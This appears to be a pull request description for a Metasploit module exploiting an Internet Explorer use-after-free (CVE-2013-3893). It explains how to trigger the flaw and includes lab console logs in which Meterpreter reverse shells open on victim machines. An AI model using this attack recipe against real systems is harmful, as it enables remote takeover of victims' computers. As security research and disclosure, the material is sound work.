Add CVE-2013-3893 Internet Explorer SetMouseCapture Use-After-Free

This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well.

The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during an event. An attacker first can setup two elements, where the second is the child of the first, and then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to require two setCapture() calls to trigger, one for the parent element, one for the child. When the setCapture() call for the child element is called, it finally triggers the event, which allows the attacker to cause an arbitrary memory release using document.write(), which in particular frees up a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the free, an invalid reference will still be kept and pass on to more functions, eventuall this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution) when this function attempts to use this reference to call what appears to be a PrivateQueryInterface due to the offset (0x00).

To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack.


Demo:

IE 9 + Win 7 + Office 2007:
	
	msf exploit(ie_setmousecapture_uaf) > 
	[*] 10.0.1.76        ie_setmousecapture_uaf - Checking target requirements...
	[*] 10.0.1.76        ie_setmousecapture_uaf - Using Office 2007 ROP chain
	[*] Sending stage (770048 bytes) to 10.0.1.76
	[*] Meterpreter session 2 opened (10.0.1.76:4444 -> 10.0.1.76:60508) at 2013-09-29 18:34:54 -0500
	[*] Session ID 2 (10.0.1.76:4444 -> 10.0.1.76:60508) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: rundll32.exe (2312)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 3216
	[+] Successfully migrated to process 
	
	
IE 9 + Win 7 + Office 2010 Standard:
	
	msf exploit(ie_setmousecapture_uaf) > run
	[*] Exploit running as background job.
	
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Using URL: http://0.0.0.0:8080/1k6F32biFCOeUv
	[*]  Local IP: http://10.0.1.76:8080/1k6F32biFCOeUv
	[*] Server started.
	msf exploit(ie_setmousecapture_uaf) > 
	[*] 10.0.1.6         ie_setmousecapture_uaf - Checking target requirements...
	[*] 10.0.1.6         ie_setmousecapture_uaf - Using Office 2010 ROP chain
	[*] Sending stage (770048 bytes) to 10.0.1.6
	[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.6:49411) at 2013-09-29 18:29:34 -0500
	[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.6:49411) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: rundll32.exe (2188)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 3220
	[+] Successfully migrated to process 
	
	msf exploit(ie_setmousecapture_uaf) >